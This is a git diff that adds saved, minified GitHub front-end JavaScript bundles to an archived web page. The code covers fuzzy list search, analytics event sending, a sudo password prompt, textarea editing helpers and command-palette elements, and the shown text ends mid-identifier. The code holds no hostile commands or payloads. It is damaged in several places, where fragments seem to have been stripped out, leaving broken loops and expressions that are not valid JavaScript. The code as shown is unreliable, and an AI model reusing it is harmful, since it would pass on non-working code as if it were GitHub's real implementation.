BroadcastChannel("shared-worker-error").addEventListener("message",O=>{p(O.data.error)})},98670:($,D,f)=>{"use strict";f.d(D,{W:()=>c});function*T(C,_){for(const x of C){const u=_(x);u!=null&&(yield u)}}s(T,"filterMap");function c(C,_,x){return[...T(C,s(g=>{const h=_(g);return h!=null?[g,h]:null},"sortKey"))].sort((g,h)=>x(g[1],h[1])).map(([g])=>g)}s(c,"filterSort")},8089:($,D,f)=>{"use strict";f.d(D,{EW:()=>T,Qw:()=>C,qu:()=>x});function T(u,g){let h=_(u,g);if(h&&g.indexOf("/")===-1){const d=u.substring(u.lastIndexOf("/")+1);h+=_(d,g)}return h}s(T,"fuzzyScore");function c(u){const g=u.toLowerCase().split("");let h="";for(let d=0;d"),m=!0):m&&(p.push(""),m=!1),p.push(v))}u.innerHTML=p.join("")}else{const d=u.innerHTML.trim(),m=d.replace(/<\/?mark>/g,"");d!==m&&(u.innerHTML=m)}}s(C,"fuzzyHighlightElement");function _(u,g){let h=u;if(h===g)return 1;const d=h.length;let m=0,p=0;for(let q=0;q-1?j:Math.max(A,k);if(P===-1)return 0;m+=.1,h[P]===E&&(m+=.1),P===0&&(m+=.8,q===0&&(p=1)),h.charAt(P-1)===" "&&(m+=.8),h=h.substring(P+1,d)}const b=g.length,v=m/b;let L=(v*(b/d)+v)/2;return p&&L+.1<1&&(L+=.1),L}s(_,"stringScore");function x(u,g){return u.score>g.score?-1:u.scoreg.text?1:0}s(x,"compare")},99254:($,D,f)=>{"use strict";f.d(D,{Z:()=>d});var T=f(47142);const c=s((m,p,b)=>{if(!(0,T.CD)(m,p))return-1/0;const v=(0,T.Gs)(m,p);return v{m.innerHTML="";let v=0;for(const L of(0,T.m7)(p,b)){b.slice(v,L)!==""&&m.appendChild(document.createTextNode(b.slice(v,L))),v=L+1;const E=document.createElement("mark");E.textContent=b[L],m.appendChild(E)}m.appendChild(document.createTextNode(b.slice(v)))},"highlightElement"),_=new WeakMap,x=new WeakMap,u=new WeakMap,g=s(m=>{if(!u.has(m)&&m instanceof HTMLElement){const p=(m.getAttribute("data-value")||m.textContent||"").trim();return u.set(m,p),p}return u.get(m)||""},"getTextCache");class h extends HTMLElement{connectedCallback(){const p=this.querySelector("ul");if(!p)return;const b=new Set(p.querySelectorAll("li")),v=this.querySelector("input");v instanceof HTMLInputElement&&v.addEventListener("input",()=>{this.value=v.value});const L=new MutationObserver(E=>{let A=!1;for(const k of E)if(k.type==="childList"&&k.addedNodes.length){for(const j of k.addedNodes)if(j instanceof HTMLLIElement&&!b.has(j)){const P=g(j);A=A||(0,T.CD)(this.value,P),b.add(j)}}A&&this.sort()});L.observe(p,{childList:!0});const q={handler:L,items:b,lazyItems:new Map,timer:null};x.set(this,q)}disconnectedCallback(){const p=x.get(this);p&&(p.handler.disconnect(),x.delete(this))}addLazyItems(p,b){const v=x.get(this);if(!v)return;const{lazyItems:L}=v,{value:q}=this;let E=!1;for(const A of p)L.set(A,b),E=E||Boolean(q)&&(0,T.CD)(q,A);E&&this.sort()}sort(){const p=_.get(this);p&&(p.aborted=!0);const b={aborted:!1};_.set(this,b);const{minScore:v,markSelector:L,maxMatches:q,value:E}=this,A=x.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:E})))return;const{items:k,lazyItems:j}=A,P=this.hasAttribute("mark-selector"),M=this.querySelector("ul");if(!M)return;const O=[];if(E){for(const V of k){const H=g(V),N=c(E,H,v);N!==-1/0&&O.push({item:V,score:N})}for(const[V,H]of j){const N=c(E,V,v);N!==-1/0&&O.push({text:V,render:H,score:N})}O.sort((V,H)=>H.score-V.score).splice(q)}else{let V=O.length;for(const H of k){if(V>=q)break;O.push({item:H,score:1}),V+=1}for(const[H,N]of j){if(V>=q)break;O.push({text:H,render:N,score:1}),V+=1}}requestAnimationFrame(()=>{if(b.aborted)return;const V=M.querySelector('input[type="radio"]:checked');M.innerHTML="";let H=0;const N=s(()=>{if(b.aborted)return;const K=Math.min(O.length,H+100),W=document.createDocumentFragment();for(let te=H;te0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:O.length}))}},"nextBatch");N()})}get value(){return this.getAttribute("value")||""}set value(p){this.setAttribute("value",p)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(p){p?this.setAttribute("mark-selector",p):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(p){Number.isNaN(p)||this.setAttribute("min-score",String(p))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(p){Number.isNaN(p)||this.setAttribute("max-matches",String(p))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(p,b,v){if(b===v)return;const L=x.get(this);!L||(L.timer&&window.clearTimeout(L.timer),L.timer=window.setTimeout(()=>this.sort(),100))}}s(h,"FuzzyListElement");const d=h;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=h,window.customElements.define("fuzzy-list",h))},30481:($,D,f)=>{"use strict";f.d(D,{Y:()=>g,q:()=>h});var T=f(88149),c=f(86058);const C="dimension_";let _;const x=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const d=(0,T.n)("octolytics");delete d.baseContext,_=new c.R(d)}catch{}function u(d){const m=(0,T.n)("octolytics").baseContext||{};if(m){delete m.app_id,delete m.event_url,delete m.host;for(const v in m)v.startsWith(C)&&(m[v.replace(C,"")]=m[v],delete m[v])}const p=document.querySelector("meta[name=visitor-payload]");if(p){const v=JSON.parse(atob(p.content));Object.assign(m,v)}const b=new URLSearchParams(window.location.search);for(const[v,L]of b)x.includes(v.toLowerCase())&&(m[v]=L);return Object.assign(m,d)}s(u,"extendBaseContext");function g(d){_==null||_.sendPageView(u(d))}s(g,"sendPageView");function h(d,m){var p,b;const v=(b=(p=document.head)==null?void 0:p.querySelector('meta[name="current-catalog-service"]'))==null?void 0:b.content,L=v?{service:v}:{};for(const[q,E]of Object.entries(m))E!=null&&(L[q]=`${E}`);_==null||_.sendEvent(d||"unknown",u(L))}s(h,"sendEvent")},53692:($,D,f)=>{"use strict";f.d(D,{$S:()=>c,Fk:()=>C,sz:()=>_});var T=f(45922);function c(x,u,g){const h={hydroEventPayload:x,hydroEventHmac:u,visitorPayload:"",visitorHmac:"",hydroClientContext:g},d=document.querySelector("meta[name=visitor-payload]");d instanceof HTMLMetaElement&&(h.visitorPayload=d.content);const m=document.querySelector("meta[name=visitor-hmac]")||"";m instanceof HTMLMetaElement&&(h.visitorHmac=m.content),(0,T.b)(h,!0)}s(c,"sendData");function C(x){const u=x.getAttribute("data-hydro-view")||"",g=x.getAttribute("data-hydro-view-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(C,"trackView");function _(x){const u=x.getAttribute("data-hydro-click-payload")||"",g=x.getAttribute("data-hydro-click-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(_,"sendHydroEvent")},51244:($,D,f)=>{"use strict";f.d(D,{vt:()=>A,WF:()=>E,DV:()=>q,jW:()=>M,Nc:()=>p,$t:()=>C});const T={frequency:.6,recency:.4};function c(H,N){return H.sort((K,W)=>N(K)-N(W))}s(c,"sortBy");function C(H){const N=x(H),K=u(H);return function(W){return _(N.get(W)||0,K.get(W)||0)}}s(C,"scorer");function _(H,N){return H*T.frequency+N*T.recency}s(_,"score");function x(H){const N=[...Object.values(H)].reduce((K,W)=>K+W.visitCount,0);return new Map(Object.keys(H).map(K=>[K,H[K].visitCount/N]))}s(x,"frequencyMap");function u(H){const N=c([...Object.keys(H)],W=>H[W].lastVisitedAt),K=N.length;return new Map(N.map((W,U)=>[W,(U+1)/K]))}s(u,"recencyMap");const g=/^\/orgs\/([a-z0-9-]+)\/teams\/([\w-]+)/,h=[/^\/([^/]+)\/([^/]+)\/?$/,/^\/([^/]+)\/([^/]+)\/blob/,/^\/([^/]+)\/([^/]+)\/tree/,/^\/([^/]+)\/([^/]+)\/issues/,/^\/([^/]+)\/([^/]+)\/pulls?/,/^\/([^/]+)\/([^/]+)\/pulse/],d=[["organization",/^\/orgs\/([a-z0-9-]+)\/projects\/([0-9-]+)/],["repository",/^\/([^/]+)\/([^/]+)\/projects\/([0-9-]+)/]],m=100;function p(H){const N=H.match(g);if(N){v(q(N[1],N[2]));return}let K;for(let U=0,te=d.length;UK(te)-K(U)).slice(0,m/2);return Object.fromEntries(W.map(U=>[U,H[U]]))}s(b,"limitedPageViews");function v(H){const N=M(),K=L(),W=N[H]||{lastVisitedAt:K,visitCount:0};W.visitCount+=1,W.lastVisitedAt=K,N[H]=W,P(b(N))}s(v,"logPageViewByKey");function L(){return Math.floor(Date.now()/1e3)}s(L,"currentEpochTimeInSeconds");function q(H,N){return`team:${H}/${N}`}s(q,"buildTeamKey");function E(H,N){return`repository:${H}/${N}`}s(E,"buildRepositoryKey");function A(H,N){return`project:${H}/${N}`}s(A,"buildProjectKey");const k=/^(team|repository|project):[^/]+\/[^/]+(\/([^/]+))?$/,j="jump_to:page_views";function P(H){O(j,JSON.stringify(H))}s(P,"setPageViewsMap");function M(){const H=V(j);if(!H)return{};let N;try{N=JSON.parse(H)}catch{return P({}),{}}const K={};for(const W in N)W.match(k)&&(K[W]=N[W]);return K}s(M,"getPageViewsMap");function O(H,N){try{window.localStorage.setItem(H,N)}catch{}}s(O,"setItem");function V(H){try{return window.localStorage.getItem(H)}catch{return null}}s(V,"getItem")},11190:($,D,f)=>{"use strict";f.d(D,{I:()=>x,n:()=>_});var T=f(24216);const c=["notification_referrer_id","notifications_before","notifications_after","notifications_query"],C="notification_shelf";function _(d,m=null){return d.has("notification_referrer_id")?(u(d,m),g(d)):null}s(_,"storeAndStripShelfParams");function x(d=null){const m=h(d);if(!m)return(0,T.cl)(C),null;try{const p=(0,T.rV)(C);if(!p)return null;const b=JSON.parse(p);if(!b||!b.pathname)throw new Error("Must have a pathname");if(b.pathname!==m)throw new Error("Stored pathname does not match current pathname.");const v={};for(const L of c)v[L]=b[L];return v}catch{return(0,T.cl)(C),null}}s(x,"getStoredShelfParamsForCurrentPage");function u(d,m){const p=h(m);if(!p)return;const b={pathname:p};for(const v of c){const L=d.get(v);L&&(b[v]=L)}(0,T.LS)(C,JSON.stringify(b))}s(u,"storeShelfParams");function g(d){for(const m of c)d.delete(m);return d}s(g,"deleteShelfParams");function h(d){d=d||window.location.pathname;const m=/^(\/[^/]+\/[^/]+\/pull\/[^/]+)/,p=d.match(m);return p?p[0]:null}s(h,"getCurrentPullRequestPathname")},32904:($,D,f)=>{"use strict";f.d(D,{a:()=>T});function T(x,u){const g=x.closest("[data-notification-id]");u.hasAttribute("data-status")&&c(g,u.getAttribute("data-status")),u.hasAttribute("data-subscription-status")&&C(g,u.getAttribute("data-subscription-status")),u.hasAttribute("data-starred-status")&&_(g,u.getAttribute("data-starred-status"))}s(T,"updateNotificationStates");function c(x,u){x.classList.toggle("notification-archived",u==="archived"),x.classList.toggle("notification-unread",u==="unread"),x.classList.toggle("notification-read",u==="read")}s(c,"toggleNotificationStatus");function C(x,u){x.classList.toggle("notification-unsubscribed",u==="unsubscribed")}s(C,"toggleNotificationSubscriptionStatus");function _(x,u){x.classList.toggle("notification-starred",u==="starred")}s(_,"toggleNotificationStarredStatus")},19218:($,D,f)=>{"use strict";f.d(D,{v:()=>T});function T(c,C){C.appendChild(c.extractContents()),c.insertNode(C)}s(T,"surroundContents")},25331:($,D,f)=>{"use strict";f.d(D,{e:()=>T});function T(c){const C=c||window.location,_=document.head&&document.head.querySelector("meta[name=session-resume-id]");return _ instanceof HTMLMetaElement&&_.content||C.pathname}s(T,"getPageID")},82841:($,D,f)=>{"use strict";f.d(D,{Z:()=>m});var T=f(12737),c=f(29719),C=f(65935),_=f(5642);let x=!1;function u(p){const b=new URL(p,window.location.origin),v=new URLSearchParams(b.search.slice(1));return v.set("webauthn-support",(0,_.T)()),b.search=v.toString(),b.toString()}s(u,"urlWithParams");async function g(){const p=document.querySelector("link[rel=sudo-modal]"),b=document.querySelector(".js-sudo-prompt");if(b instanceof HTMLTemplateElement)return b;if(p){const v=await(0,c.a)(document,u(p.href));return document.body.appendChild(v),document.querySelector(".js-sudo-prompt")}else throw new Error("couldn't load sudo prompt")}s(g,"loadPromptTemplate");let h=!1;async function d(){if(x)return!1;x=!0,h=!1;const b=(await g()).content.cloneNode(!0),v=await(0,T.W)({content:b});return await new Promise(L=>{v.addEventListener("dialog:remove",function(){x=!1,L()},{once:!0})}),h}s(d,"sudoPrompt"),(0,C.AC)(".js-sudo-form",async function(p,b){try{await b.text()}catch(v){if(!v.response)throw v;let L;switch(v.response.status){case 401:L="Incorrect password.";break;case 429:L="Too many password attempts. Please wait and try again later.";break;default:L="Failed to receive a response. Please try again later."}p.querySelector(".js-sudo-error").textContent=L,p.querySelector(".js-sudo-error").hidden=!1,p.querySelector(".js-sudo-password").value="";return}h=!0,p.closest("details").removeAttribute("open")});async function m(){const p=await fetch("/sessions/in_sudo",{headers:{accept:"application/json","X-Requested-With":"XMLHttpRequest"}});return p.ok&&await p.text()==="true"?!0:d()}s(m,"triggerSudoPrompt")},40764:($,D,f)=>{"use strict";f.d(D,{Om:()=>_,lp:()=>c,rq:()=>T,t4:()=>C,yb:()=>u});function T(g){const h="\u200D",d=g.split(h);let m=0;for(const p of d)m+=Array.from(p.split(/[\ufe00-\ufe0f]/).join("")).length;return m/d.length}s(T,"getUtf8StringLength");function c(g,h,d){let m=g.value.substring(0,g.selectionEnd||0),p=g.value.substring(g.selectionEnd||0);return m=m.replace(h,d),p=p.replace(h,d),x(g,m+p,m.length),d}s(c,"replaceText");function C(g,h,d){if(g.selectionStart===null||g.selectionEnd===null)return c(g,h,d);const m=g.value.substring(0,g.selectionStart),p=g.value.substring(g.selectionEnd);return x(g,m+d+p,m.length),d}s(C,"replaceSelection");function _(g,h,d={}){const m=g.selectionEnd||0,p=g.value.substring(0,m),b=g.value.substring(m),v=g.value===""||p.match(/\n$/)?"":` +`,L=d.appendNewline?` +`:"",q=v+h+L;g.value=p+q+b;const E=m+q.length;return g.selectionStart=E,g.selectionEnd=E,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),g.focus(),q}s(_,"insertText");function x(g,h,d){g.value=h,g.selectionStart=d,g.selectionEnd=d,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1}))}s(x,"setTextareaValueAndCursor");function u(g,h){const d=[...g],m=new TextEncoder,p=new Uint8Array(4);for(let b=0;b=h))break}return h}s(u,"GetCharIndexFromBytePosition")},66899:($,D,f)=>{"use strict";f.d(D,{dY:()=>h,iU:()=>g,oq:()=>u});const T=new WeakMap;function c(d){const m=T.get(d);!m||(m.timer!=null&&clearTimeout(m.timer),m.timer=window.setTimeout(()=>{m.timer!=null&&(m.timer=null),m.inputed=!1,m.listener.call(null,d)},m.wait))}s(c,"schedule");function C(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!0,p.timer!=null&&clearTimeout(p.timer))}s(C,"onKeydownInput");function _(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!1,p.inputed&&c(m))}s(_,"onKeyupInput");function x(d){const m=d.currentTarget,p=T.get(m);!p||(p.inputed=!0,p.keypressed||c(m))}s(x,"onInputInput");function u(d,m,p={wait:null}){T.set(d,{keypressed:!1,inputed:!1,timer:void 0,listener:m,wait:p.wait!=null?p.wait:100}),d.addEventListener("keydown",C),d.addEventListener("keyup",_),d.addEventListener("input",x)}s(u,"addThrottledInputEventListener");function g(d,m){d.removeEventListener("keydown",C),d.removeEventListener("keyup",_),d.removeEventListener("input",x);const p=T.get(d);p&&(p.timer!=null&&p.listener===m&&clearTimeout(p.timer),T.delete(d))}s(g,"removeThrottledInputEventListener");function h(d){const m=T.get(d);m&&m.listener.call(null,d)}s(h,"dispatchThrottledInputEvent")},5878:($,D,f)=>{"use strict";f.d(D,{Z:()=>c});function T(C){return C.offsetWidth<=0&&C.offsetHeight<=0}s(T,"hidden");function c(C){return!T(C)}s(c,"visible")},5642:($,D,f)=>{"use strict";f.d(D,{T:()=>c,k:()=>C});var T=f(70112);function c(){return(0,T.Zh)()?"supported":"unsupported"}s(c,"webauthnSupportLevel");async function C(){var _;return await((_=window.PublicKeyCredential)==null?void 0:_.isUserVerifyingPlatformAuthenticatorAvailable())?"supported":"unsupported"}s(C,"iuvpaaSupportLevel")}},$=>{var D=s(T=>$($.s=T),"__webpack_exec__");$.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537","app_assets_modules_github_behaviors_pjax_ts","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef","app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],()=>D(56851));var f=$.O()}]);})(); + +//# sourceMappingURL=behaviors-05243b07c220.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js new file mode 100644 index 0000000..09e09d2 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var vt=Object.defineProperty;var n=(S,C)=>vt(S,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["command-palette"],{86761:(S,C,a)=>{var i=a(90420),b=Object.defineProperty,v=Object.getOwnPropertyDescriptor,g=n((t,e,s,o)=>{for(var r=o>1?void 0:o?v(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&b(e,s,r),r},"__decorateClass");const m="*";let p=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=""}active(t,e){return this.scopeTypeMatch(t.type)&&this.modeMatch(e)}scopeTypeMatch(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t):!0}modeMatch(t){return this.char===m||this.char===t}character(){return this.char===m?"":this.char}},"CommandPaletteModeElement");g([i.Lj],p.prototype,"char",2),g([i.Lj],p.prototype,"placeholder",2),g([i.Lj],p.prototype,"scopeTypes",2),p=g([i.Ih],p);var d=Object.defineProperty,h=Object.getOwnPropertyDescriptor,u=n((t,e,s,o)=>{for(var r=o>1?void 0:o?h(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&d(e,s,r),r},"command_palette_tip_element_decorateClass");const f="*",E="";let _=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=E,this.mode=f,this.matchMode=E,this.value=f,this.onEmpty=!1,this.onError=!1}connectedCallback(){this.hidden=!0}available(t,e=!1,s=!1){return this.valueMatch(t.text)&&this.scopeTypeMatch(t.scope.type)&&this.modeMatch(t.mode)&&this.showOnEmpty(e)&&this.showOnError(s)}toggle(t,e=!1,s=!1){this.hidden=!this.available(t,e,s)}valueMatch(t){return this.value===f||this.value===t}scopeTypeMatch(t){return this.scopeTypes!==E&&(this.scopeTypes===f||JSON.parse(this.scopeTypes).includes(t))}modeMatch(t){if(this.matchMode===E)return this.mode===f||this.mode===t;{const e=new RegExp(this.matchMode);return t.match(e)!==null}}showOnEmpty(t){return this.onEmpty?t:!0}showOnError(t){return this.onError?t:!0}},"CommandPaletteTipElement");u([i.Lj],_.prototype,"scopeTypes",2),u([i.Lj],_.prototype,"mode",2),u([i.Lj],_.prototype,"matchMode",2),u([i.Lj],_.prototype,"value",2),u([i.Lj],_.prototype,"onEmpty",2),u([i.Lj],_.prototype,"onError",2),_=u([i.Ih],_);var G=a(47779),$e=Object.defineProperty,Fe=Object.getOwnPropertyDescriptor,R=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Fe(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&$e(e,s,r),r},"command_palette_token_element_decorateClass");let k=n(class extends HTMLElement{constructor(){super(...arguments);this.type="",this.id="",this.text="",this.value=""}},"CommandPaletteTokenElement");R([i.Lj],k.prototype,"type",2),R([i.Lj],k.prototype,"id",2),R([i.Lj],k.prototype,"text",2),R([i.Lj],k.prototype,"value",2),k=R([i.Ih],k);var gt=a(39200),He=a(23207),bt=a(2846),Y=a(80829),ze=a(4220),z=a(78584);class U extends z.j{fetch(e,s){return this.fetchSrc(e)}enabledFor(e){return this.modeMatch(e)&&this.scopeMatch(e)}clearCache(){}scopeMatch(e){return this.scopeTypes.length===0||this.scopeTypes.includes(e.scope.type)}modeMatch(e){return this.modes.includes(e.mode)||this.hasWildCard}async fetchSrc(e,s=""){var o;if(!this.src)throw new Error("No src defined");const r=new URL(this.src,window.location.origin),c=e.params();s&&c.set("mode",s),r.search=c.toString();const l=await fetch(r.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(l.ok){const L=await l.json();return{results:((o=L.results)==null?void 0:o.map(w=>ze.g.build(w)))||[],octicons:L.octicons}}else return{error:!0,results:[]}}}n(U,"RemoteProvider");class H extends U{constructor(){super(...arguments);this.maxItems=1e3,this.scopedItems={},this.cachedOcticons={}}clearCache(){super.clearCache(),this.scopedItems={},this.cachedOcticons={}}get debounce(){return 0}async prefetch(e){if(!this.scopeMatch(e)||this.scopedItems[e.scope.id])return;const s=new Y.A("",e.mode,{subjectId:e.subjectId,subjectType:e.subjectType,returnTo:e.returnTo,scope:e.scope}),o=await this.fetchSrc(s,e.mode);this.octicons=o.octicons||[];const r=o.results||[];this.scopedItems[e.scope.id]=r,this.cachedOcticons[e.scope.id]=this.octicons}async fetch(e,s){const o=this.scopedItems[e.scope.id]||[],r=this.cachedOcticons[e.scope.id]||[];return{results:this.fuzzyFilter(o,e).slice(0,this.maxItems),octicons:r}}}n(H,"PrefetchedProvider");class ee extends H{enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}}n(ee,"CommandsProvider");var Ue=a(81072),V=a(98810);class te extends H{async fetchSrc(e){if(!this.src)throw new Error("No src provided");const s=new URL(this.src,window.location.origin);s.search=e.params().toString();const r=await(await fetch(s.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json();if(!r.results)return;const c=r.results[0];if(c.base_file_path){const l=c.base_file_path,L=c.paths;r.results=L.map(w=>V.s.from({title:w,path:`${l}/${w}`,icon:"file-color-fg-muted",group:"files"}))}else c.action&&c.action.type==="access_policy"?r.results=[new Ue.i(c)]:r.results=[];return r}async fetch(e,s=!1){const o=e.text.match(/(.+):(\d*)\s*$/);return o?this.fetchWithLineNumbers(e,o):super.fetch(e,s)}async fetchWithLineNumbers(e,s){const o=s[1],r=s[2],c=new Y.A(o,e.mode,{scope:e.scope}),l=[],L=(await super.fetch(c,!1)).results;for(const w of L)w instanceof V.s&&l.push(this.convert(w,r));return{results:l}}convert(e,s){return s===""||!(e instanceof V.s)||(e.title=`${e.title}:${s}`,e.action.path=`${e.action.path}#L${s}`),e}}n(te,"FilesProvider");class se extends z.j{enabledFor(e){return!0}clearCache(){}get hasCommands(){return!1}get debounce(){return 0}async fetch(e,s=!1){return e.mode!=="?"&&!s?{results:[]}:{results:Array.from(this.element.querySelectorAll("command-palette-help")).filter(c=>c.show(e)).map((c,l)=>c.toItem(l))}}}n(se,"HelpProvider");var Ve=a(31411);class oe extends z.j{enabledFor(e){return!(e.isBlank()||e.mode==="?"||e.mode===">")}clearCache(){}get hasCommands(){return!1}async fetch(e,s=!1){return{results:[Ve.K.create(e)]}}}n(oe,"SearchLinksProvider");class q{static create(e){const s=this.providers[e.type];if(!s)throw new Error(`Unknown provider type: ${e.type}`);return new s(e)}}n(q,"ServerDefinedProviderFactory"),q.providers={remote:U,prefetched:H,commands:ee,files:te,help:se,"search-links":oe};var qe=Object.defineProperty,We=Object.getOwnPropertyDescriptor,j=n((t,e,s,o)=>{for(var r=o>1?void 0:o?We(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&qe(e,s,r),r},"server_defined_provider_element_decorateClass");let T=n(class extends He.b{constructor(){super(...arguments);this._wildcard="*"}get debounce(){return parseInt(this.fetchDebounce,10)}get hasCommands(){return this.supportsCommands}get hasWildCard(){return this.modes.includes(this._wildcard)}get modes(){return this.supportedModes===""&&(this._modes=[""]),this._modes||(this._modes=JSON.parse(this.supportedModes)),this._modes}get scopeTypes(){return this.supportedScopeTypes===""?[]:(this._scopeTypes||(this._scopeTypes=JSON.parse(this.supportedScopeTypes)),this._scopeTypes)}connectedCallback(){this.provider=q.create(this)}},"ServerDefinedProviderElement");j([i.Lj],T.prototype,"type",2),j([i.Lj],T.prototype,"supportedModes",2),j([i.Lj],T.prototype,"fetchDebounce",2),j([i.Lj],T.prototype,"supportedScopeTypes",2),j([i.Lj],T.prototype,"src",2),j([i.Lj],T.prototype,"supportsCommands",2),T=j([i.Ih],T);var Ne=a(8665),Ze=Object.defineProperty,Ke=Object.getOwnPropertyDescriptor,B=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Ke(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&Ze(e,s,r),r},"command_palette_help_element_decorateClass");let D=n(class extends HTMLElement{connectedCallback(){this.hidden=!0}show(t){return this.isEnabledScopeType(t)}isEnabledScopeType(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t.scope.type):!0}toItem(t){const e={group:this.group,title:this.titleElement.innerHTML,index:t};return this.prefix&&(e.prefix=this.prefix),this.hintElement.textContent&&(e.persistentHint=this.hintElement.innerHTML),Ne.B.from(e)}},"CommandPaletteHelpElement");B([i.Lj],D.prototype,"group",2),B([i.Lj],D.prototype,"prefix",2),B([i.Lj],D.prototype,"scopeTypes",2),B([i.fA],D.prototype,"titleElement",2),B([i.fA],D.prototype,"hintElement",2),D=B([i.Ih],D);var Ct=a(68313),Et=a(96753),St=a(28760),_t=a(3991),Je=a(77417);class y{constructor(){this.iconType="octicon",this.group="commands",this.priority=0,this.dismissAfterRun=!0}static item(e={}){return new Je.U(new this,e)}run(e){new Error("Not implemented")}isApplicable(e){return!0}}n(y,"MainWindowCommand");class W extends y{constructor(){super(...arguments);this.group="global_commands"}}n(W,"MainWindowGlobalCommand");class ne extends y{constructor(){super(...arguments);this.title="Delete discussion\u2026",this.icon="trash-color-fg-muted"}get deleteButton(){return document.querySelector("button#dialog-show-delete-discussion")}get dialogElement(){return document.querySelector("#delete-discussion")}isApplicable(){return this.deleteButton!=null}run(){const e=this.deleteButton;if(e){e.click(),setTimeout(()=>{var s,o;(o=(s=this.dialogElement)==null?void 0:s.querySelector('button[type="submit"]'))==null||o.focus()},0);return}}}n(ne,"DeleteDiscussion");class re extends y{constructor(){super(...arguments);this.title="Edit discussion body",this.icon="pencil-color-fg-muted"}get editButton(){return document.querySelector(".js-discussions-comment-edit-button")}isApplicable(){return this.editButton!=null}run(){var e;(e=this.editButton)==null||e.click()}}n(re,"EditDiscussion");class ie extends y{constructor(){super(...arguments);this.title="Transfer discussion\u2026",this.icon="arrow-right-color-fg-muted"}fetchDetails(){return document.querySelector("details.js-transfer-discussion-details")}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s==null?void 0:s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(ie,"TransferDiscussion");const Qe=[ne,ie,re];var M=a(64992),ae=a(33241),ce=a(88513);class x extends y{constructor(){super(...arguments);this.title="2 spaces",this.iconType="none",this.tabSize="2",this.group=""}async run(e){this.updateTabSize(),this.saveSettings(e)}updateTabSize(){const e=document.querySelectorAll("[data-tab-size]");for(const s of e)s.setAttribute("data-tab-size",this.tabSize)}async saveSettings(e){const s=new FormData;s.set("tab_size_rendering_preference",this.tabSize);const o="Failed to save tab size preference";try{(await(0,ce.Q)("/settings/appearance/tab_size",{method:"PUT",body:s})).ok?e.displayFlash("success","Tab size rendering updated"):e.displayFlash("error",o)}catch{e.displayFlash("error",o)}}}n(x,"TabSizeTwo");class le extends x{constructor(){super(...arguments);this.title="3 spaces",this.tabSize="3"}}n(le,"TabSizeThree");class ue extends x{constructor(){super(...arguments);this.title="4 spaces",this.tabSize="4"}}n(ue,"TabSizeFour");class de extends x{constructor(){super(...arguments);this.title="6 spaces",this.tabSize="6"}}n(de,"TabSizeSix");class he extends x{constructor(){super(...arguments);this.title="8 spaces",this.tabSize="8"}}n(he,"TabSizeEight");class pe extends x{constructor(){super(...arguments);this.title="10 spaces",this.tabSize="10"}}n(pe,"TabSizeTen");class me extends x{constructor(){super(...arguments);this.title="12 spaces",this.tabSize="12"}}n(me,"TabSizeTwelve");class fe extends W{constructor(){super(...arguments);this.title="Change tab size rendering",this.icon="gear-color-fg-muted",this.priority=10,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"tab-sizes",this.pageItems),!0)}get 